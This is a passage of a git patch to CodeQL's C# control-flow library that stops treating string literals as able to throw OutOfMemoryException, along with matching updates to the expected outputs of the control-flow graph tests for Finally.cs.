Remove throw completion from StringLiteral --- .../controlflow/internal/Completion.qll | 3 - .../controlflow/graph/BasicBlock.expected | 46 +-- .../controlflow/graph/Condition.expected | 46 +-- .../controlflow/graph/Dominance.expected | 286 ++---------------- .../graph/EnclosingCallable.expected | 70 ----- .../controlflow/graph/ExitElement.expected | 51 ---- .../controlflow/graph/NodeGraph.expected | 57 ---- .../controlflow/graph/Nodes.expected | 28 -- .../exceptions/Exceptions1.expected | 1 - 9 files changed, 38 insertions(+), 550 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll index 34cc23791e0..8f61d0f7c25 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll @@ -354,9 +354,6 @@ private class TriedControlFlowElement extends ControlFlowElement { or this instanceof DynamicExpr and result instanceof SystemExceptionClass - or - this instanceof StringLiteral and - result instanceof SystemOutOfMemoryExceptionClass } private CoreLib getCoreLibFromACatchClause() { diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 47ab064fe76..d9fc6b0c1f6 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -418,47 +418,35 @@ | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | exit ToBool | 8 | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | exit CallToInt32 | 5 | | Extensions.cs:20:17:20:20 | enter Main | Extensions.cs:20:17:20:20 | exit Main | 20 | -| Finally.cs:7:10:7:11 | enter M1 | Finally.cs:11:31:11:36 | "Try1" | 6 | +| Finally.cs:7:10:7:11 | enter M1 | Finally.cs:11:13:11:37 | call to method WriteLine | 7 | | Finally.cs:7:10:7:11 | exit M1 | Finally.cs:7:10:7:11 | exit M1 | 1 | -| Finally.cs:7:10:7:11 | exit M1 (abnormal) | Finally.cs:7:10:7:11 | exit M1 (abnormal) | 1 | -| Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:11:13:11:37 | call to method WriteLine | 1 | -| Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | 4 | -| Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:15:13:15:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | 4 | +| Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:7:10:7:11 | exit M1 (abnormal) | 5 | | Finally.cs:14:9:16:9 | {...} | Finally.cs:7:10:7:11 | exit M1 (normal) | 5 | -| Finally.cs:19:10:19:11 | enter M2 | Finally.cs:23:31:23:36 | "Try2" | 6 | +| Finally.cs:19:10:19:11 | enter M2 | Finally.cs:23:13:23:37 | call to method WriteLine | 7 | | Finally.cs:19:10:19:11 | exit M2 | Finally.cs:19:10:19:11 | exit M2 | 1 | | Finally.cs:19:10:19:11 | exit M2 (abnormal) | Finally.cs:19:10:19:11 | exit M2 (abnormal) | 1 | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:19:10:19:11 | exit M2 (normal) | 1 | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:23:13:23:37 | call to method WriteLine | 1 | | Finally.cs:24:13:24:19 | return ...; | Finally.cs:50:13:50:40 | [finally: return] call to method WriteLine | 5 | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | 1 | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | 1 | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:26:48:26:51 | [exception: Exception] true | 2 | | Finally.cs:27:9:29:9 | {...} | Finally.cs:50:13:50:40 | [finally: exception(IOException)] call to method WriteLine | 6 | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | 1 | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | 1 | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:34:21:34:24 | true | 6 | | Finally.cs:34:27:34:32 | throw ...; | Finally.cs:50:13:50:40 | [finally: exception(Exception)] call to method WriteLine | 9 | | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | 1 | -| Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | 1 | | Finally.cs:42:9:43:9 | {...} | Finally.cs:50:13:50:40 | call to method WriteLine | 5 | -| Finally.cs:54:10:54:11 | enter M3 | Finally.cs:58:31:58:36 | "Try3" | 6 | +| Finally.cs:54:10:54:11 | enter M3 | Finally.cs:58:13:58:37 | call to method WriteLine | 7 | | Finally.cs:54:10:54:11 | exit M3 | Finally.cs:54:10:54:11 | exit M3 | 1 | | Finally.cs:54:10:54:11 | exit M3 (abnormal) | Finally.cs:54:10:54:11 | exit M3 (abnormal) | 1 | | Finally.cs:54:10:54:11 | exit M3 (normal) | Finally.cs:54:10:54:11 | exit M3 (normal) | 1 | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:58:13:58:37 | call to method WriteLine | 1 | | Finally.cs:59:13:59:19 | return ...; | Finally.cs:70:13:70:40 | [finally: return] call to method WriteLine | 5 | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | 1 | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | 1 | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:61:48:61:51 | [exception: Exception] true | 2 | | Finally.cs:62:9:64:9 | {...} | Finally.cs:70:13:70:40 | [finally: exception(IOException)] call to method WriteLine | 6 | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | 1 | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | 1 | | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:65:35:65:51 | [exception: Exception] ... != ... | 5 | -| Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | Finally.cs:65:35:65:51 | [exception: OutOfMemoryException] ... != ... | 5 | | Finally.cs:66:9:67:9 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | 5 | | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | Finally.cs:70:13:70:40 | [finally: exception(Exception)] call to method WriteLine | 4 | -| Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:70:13:70:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | 4 | | Finally.cs:74:10:74:11 | enter M4 | Finally.cs:77:9:100:9 | while (...) ... | 6 | | Finally.cs:74:10:74:11 | exit M4 | Finally.cs:74:10:74:11 | exit M4 | 1 | | Finally.cs:74:10:74:11 | exit M4 (abnormal) | Finally.cs:74:10:74:11 | exit M4 (abnormal) | 1 | @@ -528,11 +516,9 @@ | Finally.cs:117:17:117:37 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:117:17:117:36 | [finally: exception(OutOfMemoryException)] call to method WriteLine | 3 | | Finally.cs:117:17:117:37 | [finally: return] ...; | Finally.cs:117:17:117:36 | [finally: return] call to method WriteLine | 3 | | Finally.cs:121:10:121:11 | enter M6 | Finally.cs:121:10:121:11 | exit M6 | 12 | -| Finally.cs:133:10:133:11 | enter M7 | Finally.cs:137:31:137:35 | "Try" | 6 | +| Finally.cs:133:10:133:11 | enter M7 | Finally.cs:137:13:137:36 | call to method WriteLine | 7 | | Finally.cs:133:10:133:11 | exit M7 (abnormal) | Finally.cs:133:10:133:11 | exit M7 | 2 | -| Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:137:13:137:36 | call to method WriteLine | 1 | | Finally.cs:140:9:143:9 | [finally: exception(Exception)] {...} | Finally.cs:141:13:141:44 | [finally: exception(Exception)] throw ...; | 4 | -| Finally.cs:140:9:143:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:141:13:141:44 | [finally: exception(OutOfMemoryException)] throw ...; | 4 | | Finally.cs:140:9:143:9 | {...} | Finally.cs:141:13:141:44 | throw ...; | 4 | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:151:17:151:28 | ... == ... | 8 | | Finally.cs:147:10:147:11 | exit M8 | Finally.cs:147:10:147:11 | exit M8 | 1 | @@ -548,30 +534,21 @@ | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | 1 | | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | 1 | | Finally.cs:159:21:159:45 | throw ...; | Finally.cs:159:21:159:45 | throw ...; | 1 | -| Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | 1 | -| Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | 1 | -| Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:27:159:44 | object creation of type Exception | 1 | -| Finally.cs:159:41:159:43 | "1" | Finally.cs:159:41:159:43 | "1" | 1 | -| Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | 1 | -| Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | 1 | +| Finally.cs:159:41:159:43 | "1" | Finally.cs:159:27:159:44 | object creation of type Exception | 2 | +| Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | 2 | +| Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | 2 | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | 1 | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | 1 | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | 1 | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | 1 | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | 1 | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | 1 | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | 1 | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | 1 | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | 1 | | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | Finally.cs:161:39:161:54 | [exception: Exception] ... == ... | 5 | | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | Finally.cs:161:39:161:54 | [exception: NullReferenceException] ... == ... | 5 | -| Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:54 | [exception: OutOfMemoryException] ... == ... | 5 | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: Exception] ... == ... | 5 | | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: NullReferenceException] ... == ... | 5 | -| Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:54 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] ... == ... | 5 | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: Exception] ... == ... | 5 | | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: NullReferenceException] ... == ... | 5 | -| Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | Finally.cs:161:39:161:54 | [finally: exception(Exception), exception: OutOfMemoryException] ... == ... | 5 | | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | Finally.cs:163:17:163:42 | [finally: exception(ArgumentNullException)] call to method WriteLine | 6 | | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | Finally.cs:163:17:163:42 | [finally: exception(Exception)] call to method WriteLine | 6 | | Finally.cs:162:13:164:13 | {...} | Finally.cs:163:17:163:42 | call to method WriteLine | 6 | @@ -637,8 +614,7 @@ | Finally.cs:211:13:211:29 | ...; | Finally.cs:195:10:195:12 | exit M10 (normal) | 9 | | Finally.cs:211:13:211:29 | [finally: exception(Exception)] ...; | Finally.cs:211:13:211:28 | [finally: exception(Exception)] ... = ... | 4 | | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | Finally.cs:211:13:211:28 | [finally: exception(ExceptionA)] ... = ... | 4 | -| Finally.cs:216:10:216:12 | enter M11 | Finally.cs:220:31:220:35 | "Try" | 6 | -| Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:13:220:36 | call to method WriteLine | 1 | +| Finally.cs:216:10:216:12 | enter M11 | Finally.cs:220:13:220:36 | call to method WriteLine | 7 | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:224:13:224:38 | call to method WriteLine | 5 | | Finally.cs:227:9:229:9 | {...} | Finally.cs:216:10:216:12 | exit M11 | 9 | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:239:21:239:22 | access to parameter b1 | 8 | @@ -659,11 +635,9 @@ | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | 4 | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(Exception)] call to method WriteLine | 4 | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | 4 | -| Finally.cs:250:17:252:17 | {...} | Finally.cs:254:31:254:43 | "Mid finally" | 6 | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | 1 | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | 7 | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | 4 | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | 4 | -| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | 4 | | Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | exit M12 (normal) | 8 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:8:29:8:32 | access to parameter args | 3 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | 2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected index 9be08ab1041..3f1653363c8 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected @@ -1326,27 +1326,25 @@ conditionBlock | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | false | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:34:27:34:32 | throw ...; | false | | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | false | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | false | -| Finally.cs:26:9:29:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | false | +| Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | false | | Finally.cs:26:38:26:39 | [exception: Exception] IOException ex | Finally.cs:27:9:29:9 | {...} | true | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | true | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:34:27:34:32 | throw ...; | true | | Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | false | -| Finally.cs:30:9:40:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:41:9:43:9 | [exception: OutOfMemoryException] catch (...) {...} | false | +| Finally.cs:30:9:40:9 | [exception: Exception] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | false | | Finally.cs:30:41:30:42 | [exception: Exception] ArgumentException ex | Finally.cs:34:27:34:32 | throw ...; | true | +| Finally.cs:41:9:43:9 | [exception: Exception] catch (...) {...} | Finally.cs:42:9:43:9 | {...} | true | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | true | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:62:9:64:9 | {...} | true | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | false | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | false | +| Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:66:9:67:9 | {...} | false | | Finally.cs:61:9:64:9 | [exception: Exception] catch (...) {...} | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | false | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | false | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | false | -| Finally.cs:61:9:64:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | false | | Finally.cs:61:38:61:39 | [exception: Exception] IOException ex | Finally.cs:62:9:64:9 | {...} | true | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: Exception] Exception e | true | +| Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:66:9:67:9 | {...} | true | | Finally.cs:65:9:67:9 | [exception: Exception] catch (...) {...} | Finally.cs:69:9:71:9 | [finally: exception(Exception)] {...} | true | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:65:26:65:26 | [exception: OutOfMemoryException] Exception e | true | -| Finally.cs:65:9:67:9 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:69:9:71:9 | [finally: exception(OutOfMemoryException)] {...} | true | +| Finally.cs:65:26:65:26 | [exception: Exception] Exception e | Finally.cs:66:9:67:9 | {...} | true | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:74:10:74:11 | exit M4 (abnormal) | true | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:78:9:100:9 | {...} | true | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:82:21:82:27 | return ...; | true | @@ -1507,30 +1505,21 @@ conditionBlock | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:21:159:45 | throw ...; | false | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | true | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | true | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:27:159:44 | object creation of type Exception | false | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:41:159:43 | "1" | false | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | false | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | false | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | false | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | true | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | true | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | false | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | false | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | false | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | true | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | true | -| Finally.cs:147:10:147:11 | enter M8 | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:162:13:164:13 | [finally: exception(ArgumentNullException)] {...} | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:162:13:164:13 | [finally: exception(Exception)] {...} | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:162:13:164:13 | {...} | false | @@ -1538,29 +1527,17 @@ conditionBlock | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:165:13:168:13 | [finally: exception(Exception)] catch {...} | true | | Finally.cs:147:10:147:11 | enter M8 | Finally.cs:165:13:168:13 | catch {...} | false | | Finally.cs:158:36:158:36 | 1 | Finally.cs:159:21:159:45 | throw ...; | true | -| Finally.cs:158:36:158:36 | 1 | Finally.cs:159:27:159:44 | object creation of type Exception | true | | Finally.cs:158:36:158:36 | 1 | Finally.cs:159:41:159:43 | "1" | true | -| Finally.cs:158:36:158:36 | 1 | Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | true | -| Finally.cs:158:36:158:36 | 1 | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | true | | Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:159:21:159:45 | [finally: exception(ArgumentNullException)] throw ...; | true | -| Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:159:27:159:44 | [finally: exception(ArgumentNullException)] object creation of type Exception | true | | Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:159:41:159:43 | [finally: exception(ArgumentNullException)] "1" | true | -| Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | true | -| Finally.cs:158:36:158:36 | [finally: exception(ArgumentNullException)] 1 | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | true | | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:159:21:159:45 | [finally: exception(Exception)] throw ...; | true | -| Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:159:27:159:44 | [finally: exception(Exception)] object creation of type Exception | true | | Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:159:41:159:43 | [finally: exception(Exception)] "1" | true | -| Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | true | -| Finally.cs:158:36:158:36 | [finally: exception(Exception)] 1 | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | true | | Finally.cs:161:13:164:13 | [exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: Exception] Exception e | true | | Finally.cs:161:13:164:13 | [exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: NullReferenceException] Exception e | true | -| Finally.cs:161:13:164:13 | [exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [exception: OutOfMemoryException] Exception e | true | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: Exception] Exception e | true | | Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: NullReferenceException] Exception e | true | -| Finally.cs:161:13:164:13 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(ArgumentNullException), exception: OutOfMemoryException] Exception e | true | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: Exception] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: Exception] Exception e | true | | Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: NullReferenceException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: NullReferenceException] Exception e | true | -| Finally.cs:161:13:164:13 | [finally: exception(Exception), exception: OutOfMemoryException] catch (...) {...} | Finally.cs:161:30:161:30 | [finally: exception(Exception), exception: OutOfMemoryException] Exception e | true | | Finally.cs:176:10:176:11 | enter M9 | Finally.cs:176:10:176:11 | exit M9 (normal) | false | | Finally.cs:176:10:176:11 